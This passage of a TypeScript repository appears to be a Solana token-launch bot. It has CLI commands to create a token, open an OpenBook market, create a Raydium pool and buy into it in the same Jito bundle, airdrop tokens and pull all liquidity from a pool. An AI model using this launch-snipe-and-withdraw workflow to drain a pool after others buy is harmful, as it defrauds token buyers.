1312 |       tx2.add(transfertx);
1313 |     } else if (count >= 20 && count <= 29) {
1314 |       tx3.add(transfertx);
1315 |     } else if (count >= 30 && count <= 39) {
1316 |       tx4.add(transfertx);
1317 |     }
1318 |     count++;
1319 |   }
1320 | 
1321 |   if (count >= 0) {
1322 |     const recentBlockhash = (await connection.getLatestBlockhash()).blockhash;
1323 |     tx1.feePayer = buyer.publicKey;
1324 |     tx1.recentBlockhash = recentBlockhash;
1325 |     tx1.sign(buyer);
1326 |     const signature = await connection.sendRawTransaction(tx1.serialize(), {
1327 |       maxRetries: 20,
1328 |       preflightCommitment: commitment,
1329 |     });
1330 |     logger.info({
1331 |       Market: "🟢 tx1",
1332 |       url: `https://solscan.io/tx/${signature}?cluster=${network}`,
1333 |     });
1334 |   }
1335 |   if (count >= 10) {
1336 |     const recentBlockhash = (await connection.getLatestBlockhash()).blockhash;
1337 |     tx2.feePayer = buyer.publicKey;
1338 |     tx2.recentBlockhash = recentBlockhash;
1339 |     tx2.sign(buyer);
1340 |     const signature = await connection.sendRawTransaction(tx2.serialize(), {
1341 |       maxRetries: 20,
1342 |       preflightCommitment: commitment,
1343 |     });
1344 |     logger.info({
1345 |       Market: "🟢 tx2",
1346 |       url: `https://solscan.io/tx/${signature}?cluster=${network}`,
1347 |     });
1348 |   }
1349 |   if (count >= 20) {
1350 |     const recentBlockhash = (await connection.getLatestBlockhash()).blockhash;
1351 |     tx3.feePayer = buyer.publicKey;
1352 |     tx3.recentBlockhash = recentBlockhash;
1353 |     tx3.sign(buyer);
1354 |     const signature = await connection.sendRawTransaction(tx3.serialize(), {
1355 |       maxRetries: 20,
1356 |       preflightCommitment: commitment,
1357 |     });
1358 |     logger.info({
1359 |       Market: "🟢 tx3",
1360 |       url: `https://solscan.io/tx/${signature}?cluster=${network}`,
1361 |     });
1362 |   }
1363 |   if (count >= 30) {
1364 |     const recentBlockhash = (await connection.getLatestBlockhash()).blockhash;
1365 |     tx4.feePayer = buyer.publicKey;
1366 |     tx4.recentBlockhash = recentBlockhash;
1367 |     tx4.sign(buyer);
1368 |     const signature = await connection.sendRawTransaction(tx4.serialize(), {
1369 |       maxRetries: 20,
1370 |       preflightCommitment: commitment,
1371 |     });
1372 |     logger.info({
1373 |       Market: "🟢 tx4",
1374 |       url: `https://solscan.io/tx/${signature}?cluster=${network}`,
1375 |     });
1376 |   }
1377 | }
1378 | 
1379 | async function Remove(
1380 |   address: string,
1381 |   amount: number
1382 | ): Promise<Result<{ txSignature: string }, string>> {
1383 |   const poolId = new PublicKey(address);
1384 |   const user = wallet.publicKey;
1385 |   const baseRay = new BaseRay({ rpcEndpointUrl: connection.rpcEndpoint });
1386 |   const poolKeys = await baseRay
1387 |     .getPoolKeys(poolId)
1388 |     .catch((getPoolKeysError) => {
1389 |       log({ getPoolKeysError });
1390 |       return null;
1391 |     });
1392 |   if (!poolKeys) return { Err: "Pool not found" };
1393 |   const txInfo = await baseRay
1394 |     .removeLiquidity({ amount, poolKeys, user })
1395 |     .catch((removeLiquidityError) => {
1396 |       log({ removeLiquidityError });
1397 |       return null;
1398 |     });
1399 |   if (!txInfo) return { Err: "failed to prepare tx" };
1400 |   if (txInfo.Err) return { Err: txInfo.Err };
1401 |   if (!txInfo.Ok) return { Err: "failed to prepare tx" };
1402 |   const ixs = txInfo.Ok.ixs;
1403 |   const userSolAta = getAssociatedTokenAddressSync(NATIVE_MINT, user);
1404 |   ixs.push(createCloseAccountInstruction(userSolAta, user, user));
1405 | 
1406 |   // speedup
1407 |   const updateCuIx = ComputeBudgetProgram.setComputeUnitPrice({
1408 |     microLamports: microLamports,
1409 |   });
1410 |   const tx = new web3.Transaction().add(updateCuIx, ...ixs);
1411 |   tx.feePayer = wallet.publicKey;
1412 |   const recentBlockhash = (await connection.getLatestBlockhash()).blockhash;
1413 |   tx.recentBlockhash = recentBlockhash;
1414 |   tx.sign(wallet);
1415 |   const signature = await sendAndConfirmRawTransaction(
1416 |     connection,
1417 |     tx.serialize(),
1418 |     {
1419 |       maxRetries: 20,
1420 |       preflightCommitment: commitment,
1421 |     }
1422 |   );
1423 | 
1424 |   logger.info({
1425 |     Market: "🟢 Remove tx",
1426 |     url: `https://solscan.io/tx/${signature}?cluster=${network}`,
1427 |   });
1428 | 
1429 |   // const res = await connection.sendTransaction(tx, [keypair]).catch(sendTxError => { log({ sendTxError }); return null });
1430 |   if (!signature) return { Err: "failed to send the transaction" };
1431 |   return { Ok: { txSignature: signature } };
1432 | }
1433 | 
1434 | program.command("create_token").action(async (directory, cmd) => {
1435 |   try {
1436 |     await createToken();
1437 |   } catch (err) {
1438 |     console.log(err);
1439 |   }
1440 | });
1441 | 
1442 | program
1443 |   .command("update_metadata")
1444 |   .requiredOption("-a, --address <string>", "add token address")
1445 |   .action(async (directory, cmd) => {
1446 |     const { address } = cmd.opts();
1447 |     try {
1448 |       await updateMetadata(address);
1449 |     } catch (err) {
1450 |       console.log(err);
1451 |     }
1452 |   });
1453 | 
1454 | program
1455 |   .command("create-openbook")
1456 |   .requiredOption("-a, --address <string>", "add token address")
1457 |   .requiredOption("-m, --minimum <string>", "add Minimum Order Size eg: 1")
1458 |   .requiredOption("-t, --tick <string>", "add Minimum Tick Size eg: 0.1")
1459 |   .action(async (directory, cmd) => {
1460 |     const { address, minimum, tick } = cmd.opts();
1461 |     try {
1462 |       await CreateMarket(address, minimum, tick);
1463 |     } catch (err) {
1464 |       console.log(err);
1465 |     }
1466 |   });
1467 | 
1468 | program
1469 |   .command("pool-snipe")
1470 |   .requiredOption("-o, --openmarket <string>", "add openmarket address")
1471 |   .requiredOption("-ta, --tokenamount <number>", "add token amount")
1472 |   .requiredOption("-sa, --solamount <number>", "add sol amount")
1473 |   .action(async (directory, cmd) => {
1474 |     const { openmarket, tokenamount, solamount, time } = cmd.opts();
1475 |     const BUY_AMT = retrieveEnvVariable("BUY_AMT", logger);
1476 |     try {
1477 |       const res = await createAndBuy({
1478 |         marketId: new PublicKey(openmarket),
1479 |         baseMintAmount: tokenamount,
1480 |         quoteMintAmount: solamount,
1481 |         buyToken: "quote",
1482 |         buyAmount: parseFloat(BUY_AMT),
1483 |         url: "mainnet",
1484 |       }).catch((createAndBuyError) => {
1485 |         log({
1486 |           createAndBuyError,
1487 |         });
1488 |         return null;
1489 |       });
1490 |       console.log(res);
1491 |     } catch (err) {
1492 |       console.log(err);
1493 |     }
1494 |   });
1495 | 
1496 | program
1497 |   .command("airdrop")
1498 |   .requiredOption("-m, --address <string>", "add token address")
1499 |   .action(async (directory, cmd) => {
1500 |     const { address } = cmd.opts();
1501 |     try {
1502 |       await Airdrop(address);
1503 |     } catch (err) {
1504 |       console.log(err);
1505 |     }
1506 |   });
1507 | 
1508 | program
1509 |   .command("remove")
1510 |   .requiredOption("-p, --address <string>", "add pool id")
1511 |   .requiredOption(
1512 |     "-a, --amount <string>",
1513 |     "add amount to pull, use -1 to pull all"
1514 |   )
1515 |   .action(async (directory, cmd) => {
1516 |     const { address, amount } = cmd.opts();
1517 |     try {
1518 |       await Remove(address, amount);
1519 |     } catch (err) {
1520 |       console.log(err);
1521 |     }
1522 |   });
1523 | 
1524 | program.parse(process.argv);
1525 | 


--------------------------------------------------------------------------------
/jito_bundle/build-bundle.ts:
--------------------------------------------------------------------------------
  1 | import {
  2 |   Connection,
  3 |   Keypair,
  4 |   PublicKey,
  5 |   TransactionInstruction,
  6 |   TransactionMessage,
  7 |   VersionedTransaction,
  8 | } from "@solana/web3.js";
  9 | import { web3 } from "@project-serum/anchor";
 10 | import { SearcherClient } from "jito-ts/dist/sdk/block-engine/searcher";
 11 | import { Bundle } from "jito-ts/dist/sdk/block-engine/types";
 12 | import { isError } from "jito-ts/dist/sdk/block-engine/utils";
 13 | import { ClientReadableStream } from "@grpc/grpc-js";
 14 | import {
 15 |   addLookupTableInfo,
 16 |   makeTxVersion,
 17 |   feewallet,
 18 |   jito_auth_keypair,
 19 | } from "../config";
 20 | import { BundleResult } from "jito-ts/dist/gen/block-engine/bundle";
 21 | import * as bs58 from "bs58";
 22 | 
 23 | export function getKeypairFromStr(str: string): web3.Keypair | null {
 24 |   try {
 25 |     return web3.Keypair.fromSecretKey(Uint8Array.from(bs58.decode(str)));
 26 |   } catch (error) {
 27 |     return null;
 28 |   }
 29 | }
 30 | 
 31 | export function getKeypairFromEnv() {
 32 |   const keypairStr = feewallet ?? "";
 33 |   try {
 34 |     const keypair = getKeypairFromStr(keypairStr);
 35 |     if (!keypair) throw "keypair not found";
 36 |     return keypair;
 37 |   } catch (error) {
 38 |     console.log({ error });
 39 |     throw "Keypair Not Found";
 40 |   }
 41 | }
 42 | 
 43 | const MEMO_PROGRAM_ID = "Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFMNo";
 44 | 
 45 | export async function build_bundle(
 46 |   search: SearcherClient,
 47 |   // accounts: PublicKey[],
 48 |   // regions: string[],
 49 |   bundleTransactionLimit: number,
 50 |   lp_ix: any,
 51 |   swap_ix: any,
 52 |   connection: Connection
 53 | ) {
 54 |   const feeWallet = getKeypairFromEnv();
 55 | 
 56 |   const _tipAccount = (await search.getTipAccounts())[0];
 57 |   console.log("tip account:", _tipAccount);
 58 |   const tipAccount = new PublicKey(_tipAccount);
 59 | 
 60 |   let message1 = "First TXN";
 61 |   let message2 = "Second TXN";
 62 | 
 63 |   const bund = new Bundle([], bundleTransactionLimit);
 64 |   const resp = await connection.getLatestBlockhash("processed");
 65 |   // bund.addTransactions(lp_ix, swap_ix);
 66 |   bund.addTransactions(lp_ix);
 67 |   bund.addTransactions(swap_ix);
 68 | 
 69 |   // const willSendTx1 = await buildSimpleTransaction({
 70 |   //   connection,
 71 |   //   makeTxVersion,
 72 |   //   payer: feeWallet.publicKey,
 73 |   //   innerTransactions: lp_ix,
 74 |   //   addLookupTableInfo: addLookupTableInfo,
 75 |   // });
 76 | 
 77 |   // const willSendTx2 = await buildSimpleTransaction({
 78 |   //   connection,
 79 |   //   makeTxVersion,
 80 |   //   payer: feeWallet.publicKey,
 81 |   //   innerTransactions: swap_ix,
 82 |   //   addLookupTableInfo: addLookupTableInfo,
 83 |   // });
 84 | 
 85 |   // if (willSendTx1[0] instanceof VersionedTransaction) {
 86 |   //   willSendTx1[0].sign([feeWallet]);
 87 |   //   // txids.push(await connection.sendTransaction(iTx, options));
 88 |   //             bund.addTransactions(willSendTx1[0]);
 89 |   // }
 90 | 
 91 |   // if (willSendTx2[0] instanceof VersionedTransaction) {
 92 |   //   willSendTx2[0].sign([feeWallet]);
 93 |   //   // txids.push(await connection.sendTransaction(iTx, options));
 94 |   //             bund.addTransactions(willSendTx2[0]);
 95 |   // }
 96 | 
 97 |   // bund.addTransactions(
 98 |   //   buildMemoTransaction(LP_wallet_keypair, resp.blockhash, message1)
 99 |   // );
100 | 
101 |   // bund.addTransactions(
102 |   //   buildMemoTransaction(swap_wallet_keypair, resp.blockhash, message2)
103 |   // );
104 | 
105 |   let maybeBundle = bund.addTipTx(
106 |     feeWallet,
107 |     10000000,
108 |     tipAccount,
109 |     resp.blockhash
110 |   );
111 | 
112 |   if (isError(maybeBundle)) {
113 |     throw maybeBundle;
114 |   }
115 |   console.log();
116 | 
117 |   try {
118 |     const response_bund = await search.sendBundle(maybeBundle);
119 |     console.log("bundle id:", response_bund);
120 |   } catch (e) {
121 |     console.error("error sending bundle:", e);
122 |   }
123 | 
124 |   return maybeBundle;
125 | }
126 | 
127 | export const onBundleResult = (c: SearcherClient): Promise<number> => {
128 |   let first = 0;
129 |   let isResolved = false;
130 | 
131 |   return new Promise((resolve) => {
132 |     // Set a timeout to reject the promise if no bundle is accepted within 5 seconds
133 |     setTimeout(() => {
134 |       resolve(first);
135 |       isResolved = true;
136 |     }, 30000);
137 | 
138 |     c.onBundleResult(
139 |       (result) => {
140 |         if (isResolved) return first;
141 |         // clearTimeout(timeout); // Clear the timeout if a bundle is accepted
142 | 
143 |         const bundleId = result.bundleId;
144 |         const isAccepted = result.accepted;
145 |         const isRejected = result.rejected;
146 |         if (isResolved == false) {
147 |           if (isAccepted) {
148 |             console.log(
149 |               "bundle accepted, ID:",
150 |               result.bundleId,
151 |               " Slot: ",
152 |               result.accepted?.slot
153 |             );
154 |             first += 1;
155 |             isResolved = true;
156 |             resolve(first); // Resolve with 'first' when a bundle is accepted
157 |           }
158 | 
159 |           if (isRejected) {
160 |             console.log("bundle is Rejected:", result);
161 |             // Do not resolve or reject the promise here
162 |           }
163 |         }
164 |       },
165 |       (e) => {
166 |         console.error(e);
167 |         // Do not reject the promise here
168 |       }
169 |     );
170 |   });
171 | };
172 | 
173 | export const buildMemoTransaction = (
174 |   keypair: Keypair,
175 |   recentBlockhash: string,
176 |   message: string
177 | ): VersionedTransaction => {
178 |   const ix = new TransactionInstruction({
179 |     keys: [
180 |       {
181 |         pubkey: keypair.publicKey,
182 |         isSigner: true,
183 |         isWritable: true,
184 |       },
185 |     ],
186 |     programId: new PublicKey(MEMO_PROGRAM_ID),
187 |     data: Buffer.from(message),
188 |   });
189 | 
190 |   const instructions = [ix];
191 | 
192 |   const messageV0 = new TransactionMessage({
193 |     payerKey: keypair.publicKey,
194 |     recentBlockhash: recentBlockhash,
195 |     instructions,
196 |   }).compileToV0Message();
197 | 
198 |   const tx = new VersionedTransaction(messageV0);
199 | 
200 |   tx.sign([keypair]);
201 | 
202 |   return tx;
203 | };
204 | 


--------------------------------------------------------------------------------
/jito_bundle/send-bundle.ts:
--------------------------------------------------------------------------------
 1 | import {
 2 |   jito_auth_keypair, blockEngineUrl,
 3 | } from '../config';
 4 | import {Connection} from "@solana/web3.js"
 5 | import {searcherClient} from 'jito-ts/dist/sdk/block-engine/searcher';
 6 | import {build_bundle, onBundleResult} from './build-bundle';
 7 | 
 8 | 
 9 | export async function bull_dozer(connection : Connection, lp_ix : any,swap_ix : any) {
10 | 
11 |   console.log('BLOCK_ENGINE_URL:', blockEngineUrl);
12 |   const bundleTransactionLimit = parseInt('3');
13 | 
14 |   const search = searcherClient(blockEngineUrl, jito_auth_keypair);
15 | 
16 | 
17 |   await build_bundle(
18 |     search,
19 |     bundleTransactionLimit,
20 |     lp_ix,
21 |     swap_ix,
22 |     connection
23 |   );
24 |  const bundle_result = await onBundleResult(search)
25 | return bundle_result
26 | 
27 | // search.onBundleResult(
28 | //   (bundle) => {
29 | //     console.log(`JITO bundle result: ${JSON.stringify(bundle)}`);
30 | //     return true;
31 | //   },
32 | //   (error) => {
33 | //     console.log(`JITO bundle error: ${error}`);
34 | //     return false;
35 | //   }
36 | // );
37 | }
38 | 
39 | 


--------------------------------------------------------------------------------
/liquidity/index.ts:
--------------------------------------------------------------------------------
1 | export * from './liquidity';
2 | 


--------------------------------------------------------------------------------
/liquidity/liquidity.ts:
--------------------------------------------------------------------------------
 1 | import { Commitment, Connection, PublicKey } from '@solana/web3.js';
 2 | import {
 3 |   Liquidity,
 4 |   LiquidityPoolKeys,
 5 |   Market,
 6 |   TokenAccount,
 7 |   SPL_ACCOUNT_LAYOUT,
 8 |   publicKey,
 9 |   struct,
10 |   MAINNET_PROGRAM_ID,
11 |   LiquidityStateV4,
12 | } from '@raydium-io/raydium-sdk';
13 | import { TOKEN_PROGRAM_ID } from '@solana/spl-token';
14 | import { MinimalMarketLayoutV3 } from '../market';
15 | 
16 | export const RAYDIUM_LIQUIDITY_PROGRAM_ID_V4 = MAINNET_PROGRAM_ID.AmmV4;
17 | export const OPENBOOK_PROGRAM_ID = MAINNET_PROGRAM_ID.OPENBOOK_MARKET;
18 | 
19 | export const MINIMAL_MARKET_STATE_LAYOUT_V3 = struct([
20 |   publicKey('eventQueue'),
21 |   publicKey('bids'),
22 |   publicKey('asks'),
23 | ]);
24 | 
25 | export function createPoolKeys(
26 |   id: PublicKey,
27 |   accountData: LiquidityStateV4,
28 |   minimalMarketLayoutV3: MinimalMarketLayoutV3,
29 | ): LiquidityPoolKeys {
30 |   return {
31 |     id,
32 |     baseMint: accountData.baseMint,
33 |     quoteMint: accountData.quoteMint,
34 |     lpMint: accountData.lpMint,
35 |     baseDecimals: accountData.baseDecimal.toNumber(),
36 |     quoteDecimals: accountData.quoteDecimal.toNumber(),
37 |     lpDecimals: 5,
38 |     version: 4,
39 |     programId: RAYDIUM_LIQUIDITY_PROGRAM_ID_V4,
40 |     authority: Liquidity.getAssociatedAuthority({
41 |       programId: RAYDIUM_LIQUIDITY_PROGRAM_ID_V4,
42 |     }).publicKey,
43 |     openOrders: accountData.openOrders,
44 |     targetOrders: accountData.targetOrders,
45 |     baseVault: accountData.baseVault,
46 |     quoteVault: accountData.quoteVault,
47 |     marketVersion: 3,
48 |     marketProgramId: accountData.marketProgramId,
49 |     marketId: accountData.marketId,
50 |     marketAuthority: Market.getAssociatedAuthority({
51 |       programId: accountData.marketProgramId,
52 |       marketId: accountData.marketId,
53 |     }).publicKey,
54 |     marketBaseVault: accountData.baseVault,
55 |     marketQuoteVault: accountData.quoteVault,
56 |     marketBids: minimalMarketLayoutV3.bids,
57 |     marketAsks: minimalMarketLayoutV3.asks,
58 |     marketEventQueue: minimalMarketLayoutV3.eventQueue,
59 |     withdrawQueue: accountData.withdrawQueue,
60 |     lpVault: accountData.lpVault,
61 |     lookupTableAccount: PublicKey.default,
62 |   };
63 | }
64 | 
65 | export async function getTokenAccounts(
66 |   connection: Connection,
67 |   owner: PublicKey,
68 |   commitment?: Commitment,
69 | ) {
70 |   const tokenResp = await connection.getTokenAccountsByOwner(
71 |     owner,
72 |     {
73 |       programId: TOKEN_PROGRAM_ID,
74 |     },
75 |     commitment,
76 |   );
77 | 
78 |   const accounts: TokenAccount[] = [];
79 |   for (const { pubkey, account } of tokenResp.value) {
80 |     accounts.push({
81 |       pubkey,
82 |       programId: account.owner,
83 |       accountInfo: SPL_ACCOUNT_LAYOUT.decode(account.data),
84 |     });
85 |   }
86 | 
87 |   return accounts;
88 | }
89 | 


--------------------------------------------------------------------------------
/market/index.ts:
--------------------------------------------------------------------------------
1 | export * from './market';
2 | 


--------------------------------------------------------------------------------
/market/market.ts:
--------------------------------------------------------------------------------
 1 | import { Commitment, Connection, PublicKey } from '@solana/web3.js';
 2 | import { GetStructureSchema, MARKET_STATE_LAYOUT_V3 } from '@raydium-io/raydium-sdk';
 3 | import { MINIMAL_MARKET_STATE_LAYOUT_V3 } from '../liquidity';
 4 | 
 5 | export type MinimalMarketStateLayoutV3 = typeof MINIMAL_MARKET_STATE_LAYOUT_V3;
 6 | export type MinimalMarketLayoutV3 =
 7 |   GetStructureSchema<MinimalMarketStateLayoutV3>;
 8 | 
 9 | export async function getMinimalMarketV3(
10 |   connection: Connection,
11 |   marketId: PublicKey,
12 |   commitment?: Commitment,
13 | ): Promise<MinimalMarketLayoutV3> {
14 |   const marketInfo = await connection.getAccountInfo(marketId, {
15 |     commitment,
16 |     dataSlice: {
17 |       offset: MARKET_STATE_LAYOUT_V3.offsetOf('eventQueue'),
18 |       length: 32 * 3,
19 |     },
20 |   });
21 | 
22 |   return MINIMAL_MARKET_STATE_LAYOUT_V3.decode(marketInfo!.data);
23 | }
24 | 


--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "spl-token",
 3 |   "version": "1.0.0",
 4 |   "description": "Developed By Emmark Labs",
 5 |   "scripts": {
 6 |     "test": "echo \"Error: no test specified\" && exit 1"
 7 |   },
 8 |   "author": "",
 9 |   "license": "ISC",
10 |   "dependencies": {
11 |     "@coral-xyz/anchor": "^0.29.0",
12 |     "@metaplex-foundation/js": "^0.19.3",
13 |     "@metaplex-foundation/mpl-token-metadata": "^2.11.1",
14 |     "@openbook-dex/openbook": "^0.0.9",
15 |     "@openbook-dex/openbook-v2": "^0.2.1",
16 |     "@project-serum/serum": "^0.13.65",
17 |     "@raydium-io/raydium-sdk": "^1.3.1-beta.47",
18 |     "@solana/spl-token": "^0.3.7",
19 |     "@solana/web3.js": "^1.91.7",
20 |     "axios": "^1.6.8",
21 |     "Base64": "^1.3.0",
22 |     "bigint-buffer": "^1.1.5",
23 |     "bn.js": "^5.2.1",
24 |     "bs58": "^5.0.0",
25 |     "commander": "^10.0.1",
26 |     "dotenv": "^16.3.1",
27 |     "envfile": "^6.18.0",
28 |     "ethers": "^5.7.2",
29 |     "fs": "^0.0.1-security",
30 |     "jito-ts": "^3.0.1",
31 |     "os": "^0.1.2",
32 |     "path": "^0.12.7",
33 |     "pino": "^8.18.0",
34 |     "pino-pretty": "^10.3.1",
35 |     "pino-std-serializers": "^6.2.2",
36 |     "telegraf": "^4.16.3",
37 |     "winston": "^3.13.0"
38 |   },
39 |   "devDependencies": {
40 |     "@types/bn.js": "^5.1.5",
41 |     "prettier": "^3.2.4",
42 |     "ts-node": "^10.9.2",
43 |     "typescript": "^5.3.3"
44 |   }
45 | }
46 | 


--------------------------------------------------------------------------------
/types/index.ts:
--------------------------------------------------------------------------------
1 | export * from './mint';


--------------------------------------------------------------------------------
/types/mint.ts:
--------------------------------------------------------------------------------
 1 | import { struct, u32, u8 } from '@solana/buffer-layout';
 2 | import { bool, publicKey, u64 } from '@solana/buffer-layout-utils';
 3 | import { Commitment, Connection, PublicKey } from '@solana/web3.js';
 4 | 
 5 | /** Information about a mint */
 6 | export interface Mint {
 7 |     /** Address of the mint */
 8 |     address: PublicKey;
 9 |     /**
10 |      * Optional authority used to mint new tokens. The mint authority may only be provided during mint creation.
11 |      * If no mint authority is present then the mint has a fixed supply and no further tokens may be minted.
12 |      */
13 |     mintAuthority: PublicKey | null;
14 |     /** Total supply of tokens */
15 |     supply: bigint;
16 |     /** Number of base 10 digits to the right of the decimal place */
17 |     decimals: number;
18 |     /** Is this mint initialized */
19 |     isInitialized: boolean;
20 |     /** Optional authority to freeze token accounts */
21 |     freezeAuthority: PublicKey | null;
22 | }
23 | 
24 | /** Mint as stored by the program */
25 | export interface RawMint {
26 |     mintAuthorityOption: 1 | 0;
27 |     mintAuthority: PublicKey;
28 |     supply: bigint;
29 |     decimals: number;
30 |     isInitialized: boolean;
31 |     freezeAuthorityOption: 1 | 0;
32 |     freezeAuthority: PublicKey;
33 | }
34 | 
35 | /** Buffer layout for de/serializing a mint */
36 | export const MintLayout = struct<RawMint>([
37 |     u32('mintAuthorityOption'),
38 |     publicKey('mintAuthority'),
39 |     u64('supply'),
40 |     u8('decimals'),
41 |     bool('isInitialized'),
42 |     u32('freezeAuthorityOption'),
43 |     publicKey('freezeAuthority'),
44 | ]);


--------------------------------------------------------------------------------
/utils/index.ts:
--------------------------------------------------------------------------------
1 | export * from './utils';
2 | 


--------------------------------------------------------------------------------
/utils/utils.ts:
--------------------------------------------------------------------------------
 1 | import { Logger } from "pino";
 2 | import dotenv from "dotenv";
 3 | import { Connection, PublicKey } from "@solana/web3.js";
 4 | import { TOKEN_PROGRAM_ID } from "@solana/spl-token";
 5 | import {
 6 |   Liquidity,
 7 |   Percent,
 8 |   Token,
 9 |   TokenAmount,
10 |   CurrencyAmount,
11 |   LiquidityPoolInfo,
12 | } from "@raydium-io/raydium-sdk";
13 | dotenv.config();
14 | 
15 | export const retrieveEnvVariable = (variableName: string, logger: Logger) => {
16 |   const variable = process.env[variableName] || "";
17 |   if (!variable) {
18 |     logger.error(`${variableName} is not set`);
19 |     process.exit(1);
20 |   }
21 |   return variable;
22 | };
23 | //computes live estimates of the swap and returns details for transaction building or display on UI.
24 | //returns a list containing trade details (fees,price impact,expected amount out etc..)
25 | 
26 | export async function compute(
27 |   connection: Connection,
28 |   poolKeys: any,
29 |   curr_in: PublicKey,
30 |   curr_out: PublicKey,
31 |   amount_in: number,
32 |   slip: number
33 | ) {
34 |   try {
35 |     const poolInfo = await Liquidity.fetchInfo({ connection, poolKeys });
36 | 
37 |     //setting up decimals
38 |     var in_decimal: number;
39 |     var out_decimal: number;
40 | 
41 |     if (curr_in.toBase58() === poolKeys.baseMint.toBase58()) {
42 |       in_decimal = poolInfo.baseDecimals;
43 |       out_decimal = poolInfo.quoteDecimals;
44 |     } else {
45 |       out_decimal = poolInfo.baseDecimals;
46 |       in_decimal = poolInfo.quoteDecimals;
47 |     }
48 | 
49 |     //priming and computing
50 |     const amountOut = new TokenAmount(
51 |       new Token(TOKEN_PROGRAM_ID, curr_in, in_decimal),
52 |       amount_in,
53 |       false
54 |     );
55 | 
56 |     const currencyIn = new Token(TOKEN_PROGRAM_ID, curr_out, out_decimal);
57 | 
58 |     const slippage = new Percent(slip, 100);
59 | 
60 |     const {
61 |       amountIn,
62 |       maxAmountIn,
63 |       currentPrice,
64 |       executionPrice,
65 |       priceImpact,
66 |     } = Liquidity.computeAmountIn({
67 |       poolKeys,
68 |       poolInfo,
69 |       amountOut,
70 |       currencyIn,
71 |       slippage,
72 |     });
73 | 
74 |     return [
75 |       amountIn,
76 |       maxAmountIn,
77 |       currentPrice,
78 |       executionPrice,
79 |       priceImpact,
80 |       amountIn,
81 |     ];
82 |   } catch (e) {
83 |     console.log(e);
84 |     return 1;
85 |   }
86 | }
87 | 


--------------------------------------------------------------------------------